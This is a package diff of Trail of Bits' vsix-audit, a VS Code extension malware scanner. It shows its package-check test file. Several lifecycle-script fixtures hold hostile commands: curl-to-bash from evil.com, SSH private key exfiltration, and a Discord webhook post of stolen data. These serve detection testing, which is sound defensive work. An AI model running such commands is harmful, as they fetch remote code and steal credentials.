@trailofbits/vsix-audit 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (197) hide show
  1. package/LICENSE +661 -0
  2. package/README.md +281 -0
  3. package/dist/cli.d.ts +3 -0
  4. package/dist/cli.d.ts.map +1 -0
  5. package/dist/cli.js +703 -0
  6. package/dist/cli.js.map +1 -0
  7. package/dist/index.d.ts +3 -0
  8. package/dist/index.d.ts.map +1 -0
  9. package/dist/index.js +4 -0
  10. package/dist/index.js.map +1 -0
  11. package/dist/scanner/batch.d.ts +12 -0
  12. package/dist/scanner/batch.d.ts.map +1 -0
  13. package/dist/scanner/batch.js +104 -0
  14. package/dist/scanner/batch.js.map +1 -0
  15. package/dist/scanner/bundler.d.ts +35 -0
  16. package/dist/scanner/bundler.d.ts.map +1 -0
  17. package/dist/scanner/bundler.js +120 -0
  18. package/dist/scanner/bundler.js.map +1 -0
  19. package/dist/scanner/cache.d.ts +45 -0
  20. package/dist/scanner/cache.d.ts.map +1 -0
  21. package/dist/scanner/cache.js +153 -0
  22. package/dist/scanner/cache.js.map +1 -0
  23. package/dist/scanner/cache.test.d.ts +2 -0
  24. package/dist/scanner/cache.test.d.ts.map +1 -0
  25. package/dist/scanner/cache.test.js +149 -0
  26. package/dist/scanner/cache.test.js.map +1 -0
  27. package/dist/scanner/capabilities.d.ts +29 -0
  28. package/dist/scanner/capabilities.d.ts.map +1 -0
  29. package/dist/scanner/capabilities.js +217 -0
  30. package/dist/scanner/capabilities.js.map +1 -0
  31. package/dist/scanner/checks/ast.d.ts +3 -0
  32. package/dist/scanner/checks/ast.d.ts.map +1 -0
  33. package/dist/scanner/checks/ast.js +469 -0
  34. package/dist/scanner/checks/ast.js.map +1 -0
  35. package/dist/scanner/checks/ast.test.d.ts +2 -0
  36. package/dist/scanner/checks/ast.test.d.ts.map +1 -0
  37. package/dist/scanner/checks/ast.test.js +389 -0
  38. package/dist/scanner/checks/ast.test.js.map +1 -0
  39. package/dist/scanner/checks/behavioral.d.ts +3 -0
  40. package/dist/scanner/checks/behavioral.d.ts.map +1 -0
  41. package/dist/scanner/checks/behavioral.js +367 -0
  42. package/dist/scanner/checks/behavioral.js.map +1 -0
  43. package/dist/scanner/checks/blocklist.d.ts +3 -0
  44. package/dist/scanner/checks/blocklist.d.ts.map +1 -0
  45. package/dist/scanner/checks/blocklist.js +32 -0
  46. package/dist/scanner/checks/blocklist.js.map +1 -0
  47. package/dist/scanner/checks/blocklist.test.d.ts +2 -0
  48. package/dist/scanner/checks/blocklist.test.d.ts.map +1 -0
  49. package/dist/scanner/checks/blocklist.test.js +74 -0
  50. package/dist/scanner/checks/blocklist.test.js.map +1 -0
  51. package/dist/scanner/checks/chains.d.ts +35 -0
  52. package/dist/scanner/checks/chains.d.ts.map +1 -0
  53. package/dist/scanner/checks/chains.js +505 -0
  54. package/dist/scanner/checks/chains.js.map +1 -0
  55. package/dist/scanner/checks/chains.test.d.ts +2 -0
  56. package/dist/scanner/checks/chains.test.d.ts.map +1 -0
  57. package/dist/scanner/checks/chains.test.js +250 -0
  58. package/dist/scanner/checks/chains.test.js.map +1 -0
  59. package/dist/scanner/checks/dataflow.d.ts +3 -0
  60. package/dist/scanner/checks/dataflow.d.ts.map +1 -0
  61. package/dist/scanner/checks/dataflow.js +316 -0
  62. package/dist/scanner/checks/dataflow.js.map +1 -0
  63. package/dist/scanner/checks/dependencies.d.ts +13 -0
  64. package/dist/scanner/checks/dependencies.d.ts.map +1 -0
  65. package/dist/scanner/checks/dependencies.js +225 -0
  66. package/dist/scanner/checks/dependencies.js.map +1 -0
  67. package/dist/scanner/checks/dependencies.test.d.ts +2 -0
  68. package/dist/scanner/checks/dependencies.test.d.ts.map +1 -0
  69. package/dist/scanner/checks/dependencies.test.js +248 -0
  70. package/dist/scanner/checks/dependencies.test.js.map +1 -0
  71. package/dist/scanner/checks/finding-quality.test.d.ts +8 -0
  72. package/dist/scanner/checks/finding-quality.test.d.ts.map +1 -0
  73. package/dist/scanner/checks/finding-quality.test.js +164 -0
  74. package/dist/scanner/checks/finding-quality.test.js.map +1 -0
  75. package/dist/scanner/checks/ioc.d.ts +20 -0
  76. package/dist/scanner/checks/ioc.d.ts.map +1 -0
  77. package/dist/scanner/checks/ioc.js +234 -0
  78. package/dist/scanner/checks/ioc.js.map +1 -0
  79. package/dist/scanner/checks/ioc.test.d.ts +2 -0
  80. package/dist/scanner/checks/ioc.test.d.ts.map +1 -0
  81. package/dist/scanner/checks/ioc.test.js +298 -0
  82. package/dist/scanner/checks/ioc.test.js.map +1 -0
  83. package/dist/scanner/checks/manifest.d.ts +6 -0
  84. package/dist/scanner/checks/manifest.d.ts.map +1 -0
  85. package/dist/scanner/checks/manifest.js +123 -0
  86. package/dist/scanner/checks/manifest.js.map +1 -0
  87. package/dist/scanner/checks/manifest.test.d.ts +2 -0
  88. package/dist/scanner/checks/manifest.test.d.ts.map +1 -0
  89. package/dist/scanner/checks/manifest.test.js +108 -0
  90. package/dist/scanner/checks/manifest.test.js.map +1 -0
  91. package/dist/scanner/checks/obfuscation.d.ts +3 -0
  92. package/dist/scanner/checks/obfuscation.d.ts.map +1 -0
  93. package/dist/scanner/checks/obfuscation.js +432 -0
  94. package/dist/scanner/checks/obfuscation.js.map +1 -0
  95. package/dist/scanner/checks/obfuscation.test.d.ts +2 -0
  96. package/dist/scanner/checks/obfuscation.test.d.ts.map +1 -0
  97. package/dist/scanner/checks/obfuscation.test.js +399 -0
  98. package/dist/scanner/checks/obfuscation.test.js.map +1 -0
  99. package/dist/scanner/checks/package.d.ts +17 -0
  100. package/dist/scanner/checks/package.d.ts.map +1 -0
  101. package/dist/scanner/checks/package.js +422 -0
  102. package/dist/scanner/checks/package.js.map +1 -0
  103. package/dist/scanner/checks/package.test.d.ts +2 -0
  104. package/dist/scanner/checks/package.test.d.ts.map +1 -0
  105. package/dist/scanner/checks/package.test.js +518 -0
  106. package/dist/scanner/checks/package.test.js.map +1 -0
  107. package/dist/scanner/checks/patterns.d.ts +5 -0
  108. package/dist/scanner/checks/patterns.d.ts.map +1 -0
  109. package/dist/scanner/checks/patterns.js +251 -0
  110. package/dist/scanner/checks/patterns.js.map +1 -0
  111. package/dist/scanner/checks/patterns.test.d.ts +2 -0
  112. package/dist/scanner/checks/patterns.test.d.ts.map +1 -0
  113. package/dist/scanner/checks/patterns.test.js +147 -0
  114. package/dist/scanner/checks/patterns.test.js.map +1 -0
  115. package/dist/scanner/checks/unicode.d.ts +3 -0
  116. package/dist/scanner/checks/unicode.d.ts.map +1 -0
  117. package/dist/scanner/checks/unicode.js +247 -0
  118. package/dist/scanner/checks/unicode.js.map +1 -0
  119. package/dist/scanner/checks/unicode.test.d.ts +2 -0
  120. package/dist/scanner/checks/unicode.test.d.ts.map +1 -0
  121. package/dist/scanner/checks/unicode.test.js +202 -0
  122. package/dist/scanner/checks/unicode.test.js.map +1 -0
  123. package/dist/scanner/checks/yara.d.ts +23 -0
  124. package/dist/scanner/checks/yara.d.ts.map +1 -0
  125. package/dist/scanner/checks/yara.js +349 -0
  126. package/dist/scanner/checks/yara.js.map +1 -0
  127. package/dist/scanner/checks/yara.test.d.ts +2 -0
  128. package/dist/scanner/checks/yara.test.d.ts.map +1 -0
  129. package/dist/scanner/checks/yara.test.js +126 -0
  130. package/dist/scanner/checks/yara.test.js.map +1 -0
  131. package/dist/scanner/constants.d.ts +18 -0
  132. package/dist/scanner/constants.d.ts.map +1 -0
  133. package/dist/scanner/constants.js +37 -0
  134. package/dist/scanner/constants.js.map +1 -0
  135. package/dist/scanner/detection-coverage.test.d.ts +2 -0
  136. package/dist/scanner/detection-coverage.test.d.ts.map +1 -0
  137. package/dist/scanner/detection-coverage.test.js +216 -0
  138. package/dist/scanner/detection-coverage.test.js.map +1 -0
  139. package/dist/scanner/download.d.ts +76 -0
  140. package/dist/scanner/download.d.ts.map +1 -0
  141. package/dist/scanner/download.js +339 -0
  142. package/dist/scanner/download.js.map +1 -0
  143. package/dist/scanner/download.test.d.ts +2 -0
  144. package/dist/scanner/download.test.d.ts.map +1 -0
  145. package/dist/scanner/download.test.js +149 -0
  146. package/dist/scanner/download.test.js.map +1 -0
  147. package/dist/scanner/index.d.ts +8 -0
  148. package/dist/scanner/index.d.ts.map +1 -0
  149. package/dist/scanner/index.js +167 -0
  150. package/dist/scanner/index.js.map +1 -0
  151. package/dist/scanner/index.test.d.ts +2 -0
  152. package/dist/scanner/index.test.d.ts.map +1 -0
  153. package/dist/scanner/index.test.js +71 -0
  154. package/dist/scanner/index.test.js.map +1 -0
  155. package/dist/scanner/loaders/zoo.d.ts +3 -0
  156. package/dist/scanner/loaders/zoo.d.ts.map +1 -0
  157. package/dist/scanner/loaders/zoo.js +112 -0
  158. package/dist/scanner/loaders/zoo.js.map +1 -0
  159. package/dist/scanner/types.d.ts +118 -0
  160. package/dist/scanner/types.d.ts.map +1 -0
  161. package/dist/scanner/types.js +2 -0
  162. package/dist/scanner/types.js.map +1 -0
  163. package/dist/scanner/utils.d.ts +14 -0
  164. package/dist/scanner/utils.d.ts.map +1 -0
  165. package/dist/scanner/utils.js +25 -0
  166. package/dist/scanner/utils.js.map +1 -0
  167. package/dist/scanner/vsix.d.ts +6 -0
  168. package/dist/scanner/vsix.d.ts.map +1 -0
  169. package/dist/scanner/vsix.js +213 -0
  170. package/dist/scanner/vsix.js.map +1 -0
  171. package/dist/scanner/vsix.test.d.ts +2 -0
  172. package/dist/scanner/vsix.test.d.ts.map +1 -0
  173. package/dist/scanner/vsix.test.js +355 -0
  174. package/dist/scanner/vsix.test.js.map +1 -0
  175. package/package.json +60 -0
  176. package/zoo/blocklist/extensions.json +201 -0
  177. package/zoo/iocs/blockchain-extensions.txt +21 -0
  178. package/zoo/iocs/c2-domains.txt +50 -0
  179. package/zoo/iocs/c2-ips.txt +24 -0
  180. package/zoo/iocs/hashes.txt +47 -0
  181. package/zoo/iocs/malicious-npm.txt +85 -0
  182. package/zoo/iocs/wallets.txt +18 -0
  183. package/zoo/signatures/yara/README.md +46 -0
  184. package/zoo/signatures/yara/blockchain_c2.yar +48 -0
  185. package/zoo/signatures/yara/code_execution.yar +165 -0
  186. package/zoo/signatures/yara/credential_harvesting.yar +116 -0
  187. package/zoo/signatures/yara/crypto_wallet_targeting.yar +92 -0
  188. package/zoo/signatures/yara/data_exfiltration.yar +207 -0
  189. package/zoo/signatures/yara/google_calendar_c2.yar +187 -0
  190. package/zoo/signatures/yara/messaging_c2.yar +103 -0
  191. package/zoo/signatures/yara/multi_stage_attacks.yar +331 -0
  192. package/zoo/signatures/yara/obfuscation_patterns.yar +208 -0
  193. package/zoo/signatures/yara/powershell_attacks.yar +116 -0
  194. package/zoo/signatures/yara/rat_capabilities.yar +243 -0
  195. package/zoo/signatures/yara/self_propagation.yar +239 -0
  196. package/zoo/signatures/yara/unicode_stealth.yar +48 -0
  197. package/zoo/signatures/yara/websocket_c2.yar +83 -0
@@ -0,0 +1,518 @@
1
+ import { describe, expect, it } from "vitest";
2
+ import { checkActivationEvents, checkBlocklist, checkLifecycleScripts, checkMaliciousPackages, checkPackage, checkThemeAbuse, checkTyposquattingPackages, } from "./package.js";
3
+ // --- Test helpers ---
4
+ function makePackageJson(content) {
5
+ return JSON.stringify(content, null, 2);
6
+ }
7
+ function makeContents(packageJsonContent, manifestOverrides = {}) {
8
+ const manifest = {
9
+ name: "test-extension",
10
+ publisher: "test",
11
+ version: "1.0.0",
12
+ ...manifestOverrides,
13
+ };
14
+ const files = new Map();
15
+ files.set("package.json", Buffer.from(makePackageJson(packageJsonContent), "utf8"));
16
+ return { manifest, files, basePath: "/test" };
17
+ }
18
+ function makeZooData(maliciousPackages = []) {
19
+ return {
20
+ blocklist: [],
21
+ hashes: new Set(),
22
+ domains: new Set(),
23
+ ips: new Set(),
24
+ maliciousNpmPackages: new Set(maliciousPackages.map((p) => p.toLowerCase())),
25
+ wallets: new Set(),
26
+ blockchainAllowlist: new Set(),
27
+ };
28
+ }
29
+ // --- Blocklist checks ---
30
+ describe("checkBlocklist", () => {
31
+ const blocklist = [
32
+ {
33
+ id: "malicious.extension",
34
+ name: "Malicious Extension",
35
+ reason: "Known malware",
36
+ campaign: "Test",
37
+ },
38
+ {
39
+ id: "badpublisher.*",
40
+ name: "Bad Publisher (all)",
41
+ reason: "All extensions from this publisher are malicious",
42
+ campaign: "Test",
43
+ },
44
+ {
45
+ id: "498-00.*",
46
+ name: "498-00 publisher (all)",
47
+ reason: "TigerJack republished extensions",
48
+ campaign: "TigerJack",
49
+ },
50
+ ];
51
+ it("matches exact extension ID", () => {
52
+ const manifest = {
53
+ name: "extension",
54
+ publisher: "malicious",
55
+ version: "1.0.0",
56
+ };
57
+ const findings = checkBlocklist(manifest, blocklist);
58
+ expect(findings).toHaveLength(1);
59
+ expect(findings[0]?.id).toBe("BLOCKLIST_MATCH");
60
+ expect(findings[0]?.severity).toBe("critical");
61
+ });
62
+ it("matches wildcard publisher pattern", () => {
63
+ const manifest = {
64
+ name: "some-extension",
65
+ publisher: "badpublisher",
66
+ version: "1.0.0",
67
+ };
68
+ const findings = checkBlocklist(manifest, blocklist);
69
+ expect(findings).toHaveLength(1);
70
+ expect(findings[0]?.metadata?.["blocklistEntry"]).toBe("badpublisher.*");
71
+ });
72
+ it("matches publisher with special characters in pattern", () => {
73
+ const manifest = {
74
+ name: "pythonformat",
75
+ publisher: "498-00",
76
+ version: "1.0.0",
77
+ };
78
+ const findings = checkBlocklist(manifest, blocklist);
79
+ expect(findings).toHaveLength(1);
80
+ expect(findings[0]?.metadata?.["blocklistEntry"]).toBe("498-00.*");
81
+ });
82
+ it("does not match clean extension", () => {
83
+ const manifest = {
84
+ name: "clean-extension",
85
+ publisher: "trusted-publisher",
86
+ version: "1.0.0",
87
+ };
88
+ const findings = checkBlocklist(manifest, blocklist);
89
+ expect(findings).toHaveLength(0);
90
+ });
91
+ it("does not match partial ID without wildcard", () => {
92
+ const manifest = {
93
+ name: "extension-extra",
94
+ publisher: "malicious",
95
+ version: "1.0.0",
96
+ };
97
+ const findings = checkBlocklist(manifest, blocklist);
98
+ expect(findings).toHaveLength(0);
99
+ });
100
+ it("matches case-insensitively for exact IDs", () => {
101
+ const manifest = {
102
+ name: "Extension",
103
+ publisher: "Malicious",
104
+ version: "1.0.0",
105
+ };
106
+ const findings = checkBlocklist(manifest, blocklist);
107
+ expect(findings).toHaveLength(1);
108
+ expect(findings[0]?.id).toBe("BLOCKLIST_MATCH");
109
+ });
110
+ it("matches case-insensitively for wildcard patterns", () => {
111
+ const manifest = {
112
+ name: "some-extension",
113
+ publisher: "BadPublisher",
114
+ version: "1.0.0",
115
+ };
116
+ const findings = checkBlocklist(manifest, blocklist);
117
+ expect(findings).toHaveLength(1);
118
+ expect(findings[0]?.metadata?.["blocklistEntry"]).toBe("badpublisher.*");
119
+ });
120
+ });
121
+ // --- Manifest checks ---
122
+ describe("checkActivationEvents", () => {
123
+ it("flags wildcard activation event", () => {
124
+ const manifest = {
125
+ name: "test",
126
+ publisher: "test",
127
+ version: "1.0.0",
128
+ activationEvents: ["*"],
129
+ };
130
+ const findings = checkActivationEvents(manifest);
131
+ expect(findings.some((f) => f.id === "ACTIVATION_WILDCARD")).toBe(true);
132
+ expect(findings[0]?.severity).toBe("high");
133
+ });
134
+ it("flags onStartupFinished activation event", () => {
135
+ const manifest = {
136
+ name: "test",
137
+ publisher: "test",
138
+ version: "1.0.0",
139
+ activationEvents: ["onStartupFinished"],
140
+ };
141
+ const findings = checkActivationEvents(manifest);
142
+ expect(findings.some((f) => f.id === "ACTIVATION_STARTUP")).toBe(true);
143
+ expect(findings[0]?.severity).toBe("medium");
144
+ });
145
+ it("does not flag normal activation events", () => {
146
+ const manifest = {
147
+ name: "test",
148
+ publisher: "test",
149
+ version: "1.0.0",
150
+ activationEvents: ["onCommand:test.command", "onLanguage:typescript"],
151
+ };
152
+ const findings = checkActivationEvents(manifest);
153
+ expect(findings).toHaveLength(0);
154
+ });
155
+ });
156
+ describe("checkThemeAbuse", () => {
157
+ it("flags theme extension with code entry point", () => {
158
+ const manifest = {
159
+ name: "test-theme",
160
+ publisher: "test",
161
+ version: "1.0.0",
162
+ main: "./extension.js",
163
+ contributes: {
164
+ themes: [{ id: "dark-theme", label: "Dark Theme", path: "./themes/dark.json" }],
165
+ },
166
+ };
167
+ const findings = checkThemeAbuse(manifest);
168
+ expect(findings.some((f) => f.id === "THEME_WITH_CODE")).toBe(true);
169
+ expect(findings[0]?.severity).toBe("high");
170
+ });
171
+ it("flags icon theme extension with code entry point", () => {
172
+ const manifest = {
173
+ name: "test-icons",
174
+ publisher: "test",
175
+ version: "1.0.0",
176
+ main: "./extension.js",
177
+ contributes: {
178
+ iconThemes: [{ id: "material-icons", label: "Material Icons", path: "./icons.json" }],
179
+ },
180
+ };
181
+ const findings = checkThemeAbuse(manifest);
182
+ expect(findings.some((f) => f.id === "THEME_WITH_CODE")).toBe(true);
183
+ });
184
+ it("does not flag pure theme without code", () => {
185
+ const manifest = {
186
+ name: "test-theme",
187
+ publisher: "test",
188
+ version: "1.0.0",
189
+ contributes: {
190
+ themes: [{ id: "dark-theme", label: "Dark Theme", path: "./themes/dark.json" }],
191
+ },
192
+ };
193
+ const findings = checkThemeAbuse(manifest);
194
+ expect(findings).toHaveLength(0);
195
+ });
196
+ it("does not flag extension with code but no themes", () => {
197
+ const manifest = {
198
+ name: "test-extension",
199
+ publisher: "test",
200
+ version: "1.0.0",
201
+ main: "./extension.js",
202
+ contributes: {
203
+ commands: [{ command: "test.command", title: "Test Command" }],
204
+ },
205
+ };
206
+ const findings = checkThemeAbuse(manifest);
207
+ expect(findings).toHaveLength(0);
208
+ });
209
+ });
210
+ // --- Dependency checks ---
211
+ describe("checkMaliciousPackages", () => {
212
+ it("detects known malicious packages in dependencies", () => {
213
+ const packageJson = {
214
+ dependencies: {
215
+ express: "^4.0.0",
216
+ "event-stream": "^3.3.4",
217
+ },
218
+ };
219
+ const findings = checkMaliciousPackages(packageJson, new Set(["event-stream"]));
220
+ expect(findings).toHaveLength(1);
221
+ expect(findings.some((f) => f.id === "MALICIOUS_NPM_PACKAGE")).toBe(true);
222
+ expect(findings.some((f) => f.severity === "critical")).toBe(true);
223
+ expect(findings.some((f) => f.metadata?.["package"] === "event-stream")).toBe(true);
224
+ });
225
+ it("ignores malicious packages in devDependencies (not bundled in .vsix)", () => {
226
+ const packageJson = {
227
+ devDependencies: {
228
+ jest: "^29.0.0",
229
+ "ua-parser-js": "^0.7.0",
230
+ },
231
+ };
232
+ const findings = checkMaliciousPackages(packageJson, new Set(["ua-parser-js"]));
233
+ // devDependencies are not checked because they're not bundled in .vsix files
234
+ expect(findings).toHaveLength(0);
235
+ });
236
+ it("is case-insensitive", () => {
237
+ const packageJson = {
238
+ dependencies: {
239
+ "Event-Stream": "^3.3.4",
240
+ },
241
+ };
242
+ const findings = checkMaliciousPackages(packageJson, new Set(["event-stream"]));
243
+ expect(findings).toHaveLength(1);
244
+ });
245
+ it("returns empty array for clean dependencies", () => {
246
+ const packageJson = {
247
+ dependencies: {
248
+ express: "^4.0.0",
249
+ lodash: "^4.0.0",
250
+ },
251
+ };
252
+ const findings = checkMaliciousPackages(packageJson, new Set(["event-stream"]));
253
+ expect(findings).toHaveLength(0);
254
+ });
255
+ });
256
+ describe("checkTyposquattingPackages", () => {
257
+ it("detects known typosquats", () => {
258
+ const packageJson = {
259
+ dependencies: {
260
+ lodahs: "^4.0.0", // typosquat of lodash
261
+ },
262
+ };
263
+ const findings = checkTyposquattingPackages(packageJson);
264
+ expect(findings).toHaveLength(1);
265
+ expect(findings.some((f) => f.id === "TYPOSQUAT_PACKAGE")).toBe(true);
266
+ expect(findings.some((f) => f.severity === "high")).toBe(true);
267
+ expect(findings.some((f) => f.metadata?.["similar_to"] === "lodash")).toBe(true);
268
+ });
269
+ it("detects crossenv typosquat", () => {
270
+ const packageJson = {
271
+ dependencies: {
272
+ crossenv: "^7.0.0", // typosquat of cross-env
273
+ },
274
+ };
275
+ const findings = checkTyposquattingPackages(packageJson);
276
+ expect(findings).toHaveLength(1);
277
+ expect(findings.some((f) => f.metadata?.["similar_to"] === "cross-env")).toBe(true);
278
+ });
279
+ it("detects typosquats by edit distance", () => {
280
+ const packageJson = {
281
+ dependencies: {
282
+ expres: "^4.0.0", // 1 char different from express
283
+ },
284
+ };
285
+ const findings = checkTyposquattingPackages(packageJson);
286
+ expect(findings).toHaveLength(1);
287
+ expect(findings.some((f) => f.metadata?.["similar_to"] === "express")).toBe(true);
288
+ const finding = findings.find((f) => f.id === "TYPOSQUAT_PACKAGE");
289
+ const distance = finding?.metadata?.["edit_distance"];
290
+ expect(typeof distance === "number" && distance <= 2).toBe(true);
291
+ });
292
+ it("does not flag legitimate packages", () => {
293
+ const packageJson = {
294
+ dependencies: {
295
+ express: "^4.0.0",
296
+ lodash: "^4.0.0",
297
+ react: "^18.0.0",
298
+ },
299
+ };
300
+ const findings = checkTyposquattingPackages(packageJson);
301
+ expect(findings).toHaveLength(0);
302
+ });
303
+ it("does not flag known-good packages (chai, open, core, etc.)", () => {
304
+ const packageJson = {
305
+ dependencies: {
306
+ chai: "^4.0.0", // Testing library, similar to chalk
307
+ open: "^9.0.0", // URL opener, similar to openai
308
+ core: "^1.0.0", // Common name, similar to cors
309
+ uuid4: "^2.0.0", // UUID v4, similar to uuid
310
+ acorn: "^8.0.0", // JS parser, similar to cors
311
+ async: "^3.0.0", // Async utilities
312
+ debug: "^4.0.0", // Debug logging
313
+ },
314
+ };
315
+ const findings = checkTyposquattingPackages(packageJson);
316
+ expect(findings).toHaveLength(0);
317
+ });
318
+ it("does not flag legitimate linters similar to eslint", () => {
319
+ const packageJson = {
320
+ dependencies: {
321
+ tslint: "^6.0.0", // TypeScript linter (deprecated but legitimate)
322
+ xqlint: "^0.4.0", // XQuery linter
323
+ },
324
+ };
325
+ const findings = checkTyposquattingPackages(packageJson);
326
+ expect(findings).toHaveLength(0);
327
+ });
328
+ it("does not flag Node.js core module shims", () => {
329
+ const packageJson = {
330
+ dependencies: {
331
+ util: "^0.12.0", // Node.js util shim
332
+ os: "^0.1.0", // Node.js os shim
333
+ },
334
+ };
335
+ const findings = checkTyposquattingPackages(packageJson);
336
+ expect(findings).toHaveLength(0);
337
+ });
338
+ it("does not flag legitimate UUID/ID libraries", () => {
339
+ const packageJson = {
340
+ dependencies: {
341
+ uuidv4: "^6.0.0", // UUID v4 generator
342
+ ulid: "^2.0.0", // ULID library (different from UUID)
343
+ },
344
+ };
345
+ const findings = checkTyposquattingPackages(packageJson);
346
+ expect(findings).toHaveLength(0);
347
+ });
348
+ it("does not flag legitimate database drivers and alternatives", () => {
349
+ const packageJson = {
350
+ dependencies: {
351
+ mssql: "^9.0.0", // Microsoft SQL Server driver
352
+ mysql2: "^3.0.0", // MySQL2 driver (successor to mysql)
353
+ preact: "^10.0.0", // Lightweight React alternative
354
+ },
355
+ };
356
+ const findings = checkTyposquattingPackages(packageJson);
357
+ expect(findings).toHaveLength(0);
358
+ });
359
+ it("does not flag legitimate CLI and build utilities", () => {
360
+ const packageJson = {
361
+ dependencies: {
362
+ colors: "^1.0.0", // CLI colors
363
+ cpr: "^3.0.0", // Recursive copy
364
+ defu: "^6.0.0", // Deep defaults utility
365
+ jsonc: "^2.0.0", // JSON with Comments parser
366
+ opener: "^1.0.0", // URL/file opener
367
+ },
368
+ };
369
+ const findings = checkTyposquattingPackages(packageJson);
370
+ expect(findings).toHaveLength(0);
371
+ });
372
+ });
373
+ describe("checkLifecycleScripts", () => {
374
+ it("detects postinstall script", () => {
375
+ const packageJson = {
376
+ scripts: {
377
+ postinstall: "echo 'installed'",
378
+ },
379
+ };
380
+ const findings = checkLifecycleScripts(packageJson);
381
+ expect(findings).toHaveLength(1);
382
+ expect(findings.some((f) => f.id === "LIFECYCLE_SCRIPT")).toBe(true);
383
+ expect(findings.some((f) => f.severity === "medium")).toBe(true);
384
+ expect(findings.some((f) => f.metadata?.["script"] === "postinstall")).toBe(true);
385
+ });
386
+ it("detects preinstall script", () => {
387
+ const packageJson = {
388
+ scripts: {
389
+ preinstall: "node setup.js",
390
+ },
391
+ };
392
+ const findings = checkLifecycleScripts(packageJson);
393
+ expect(findings).toHaveLength(1);
394
+ expect(findings.some((f) => f.metadata?.["script"] === "preinstall")).toBe(true);
395
+ });
396
+ it("detects malicious curl pipe to bash", () => {
397
+ const packageJson = {
398
+ scripts: {
399
+ postinstall: "curl https://evil.com/script.sh | bash",
400
+ },
401
+ };
402
+ const findings = checkLifecycleScripts(packageJson);
403
+ expect(findings).toHaveLength(1);
404
+ expect(findings.some((f) => f.id === "MALICIOUS_LIFECYCLE_SCRIPT")).toBe(true);
405
+ expect(findings.some((f) => f.severity === "critical")).toBe(true);
406
+ });
407
+ it("detects SSH key access in scripts", () => {
408
+ const packageJson = {
409
+ scripts: {
410
+ postinstall: "cat ~/.ssh/id_rsa | curl -d @- https://evil.com",
411
+ },
412
+ };
413
+ const findings = checkLifecycleScripts(packageJson);
414
+ const maliciousFinding = findings.find((f) => f.id === "MALICIOUS_LIFECYCLE_SCRIPT");
415
+ expect(maliciousFinding).toBeDefined();
416
+ expect(maliciousFinding?.metadata?.["pattern"]).toBe("SSH key access");
417
+ });
418
+ it("detects Discord webhook in scripts", () => {
419
+ const packageJson = {
420
+ scripts: {
421
+ postinstall: "curl -X POST https://discord.com/api/webhooks/123/abc -d 'stolen data'",
422
+ },
423
+ };
424
+ const findings = checkLifecycleScripts(packageJson);
425
+ const maliciousFinding = findings.find((f) => f.id === "MALICIOUS_LIFECYCLE_SCRIPT");
426
+ expect(maliciousFinding).toBeDefined();
427
+ });
428
+ it("ignores non-lifecycle scripts", () => {
429
+ const packageJson = {
430
+ scripts: {
431
+ build: "tsc",
432
+ test: "jest",
433
+ start: "node index.js",
434
+ },
435
+ };
436
+ const findings = checkLifecycleScripts(packageJson);
437
+ expect(findings).toHaveLength(0);
438
+ });
439
+ });
440
+ // --- Integration tests ---
441
+ describe("checkPackage (integration)", () => {
442
+ it("combines all manifest checks", () => {
443
+ const contents = makeContents({ name: "test" }, {
444
+ name: "suspicious-theme",
445
+ publisher: "suspicious",
446
+ main: "./extension.js",
447
+ activationEvents: ["*"],
448
+ contributes: {
449
+ themes: [{ id: "theme", label: "Theme", path: "./theme.json" }],
450
+ },
451
+ });
452
+ const findings = checkPackage(contents, makeZooData());
453
+ expect(findings.some((f) => f.id === "ACTIVATION_WILDCARD")).toBe(true);
454
+ expect(findings.some((f) => f.id === "THEME_WITH_CODE")).toBe(true);
455
+ });
456
+ it("runs all checks on a malicious package.json", () => {
457
+ const contents = makeContents({
458
+ name: "evil-extension",
459
+ dependencies: {
460
+ "event-stream": "^3.3.4", // Known malicious
461
+ lodahs: "^4.0.0", // Typosquat
462
+ },
463
+ scripts: {
464
+ postinstall: "curl https://evil.com | bash", // Malicious script
465
+ },
466
+ });
467
+ const zooData = makeZooData(["event-stream"]);
468
+ const findings = checkPackage(contents, zooData);
469
+ expect(findings.some((f) => f.id === "MALICIOUS_NPM_PACKAGE")).toBe(true);
470
+ expect(findings.some((f) => f.id === "TYPOSQUAT_PACKAGE")).toBe(true);
471
+ expect(findings.some((f) => f.id === "MALICIOUS_LIFECYCLE_SCRIPT")).toBe(true);
472
+ });
473
+ it("returns empty array for clean extension", () => {
474
+ const contents = makeContents({
475
+ name: "good-extension",
476
+ dependencies: {
477
+ express: "^4.0.0",
478
+ lodash: "^4.0.0",
479
+ },
480
+ scripts: {
481
+ build: "tsc",
482
+ test: "jest",
483
+ },
484
+ });
485
+ const zooData = makeZooData();
486
+ const findings = checkPackage(contents, zooData);
487
+ expect(findings).toHaveLength(0);
488
+ });
489
+ it("handles missing package.json", () => {
490
+ const manifest = {
491
+ name: "test-extension",
492
+ publisher: "test",
493
+ version: "1.0.0",
494
+ };
495
+ const contents = {
496
+ manifest,
497
+ files: new Map(),
498
+ basePath: "/test",
499
+ };
500
+ const zooData = makeZooData();
501
+ const findings = checkPackage(contents, zooData);
502
+ expect(findings).toHaveLength(0);
503
+ });
504
+ it("handles invalid package.json", () => {
505
+ const manifest = {
506
+ name: "test-extension",
507
+ publisher: "test",
508
+ version: "1.0.0",
509
+ };
510
+ const files = new Map();
511
+ files.set("package.json", Buffer.from("not valid json", "utf8"));
512
+ const contents = { manifest, files, basePath: "/test" };
513
+ const zooData = makeZooData();
514
+ const findings = checkPackage(contents, zooData);
515
+ expect(findings).toHaveLength(0);
516
+ });
517
+ });
518
+ //# sourceMappingURL=package.test.js.map
@@ -0,0 +1 @@
1
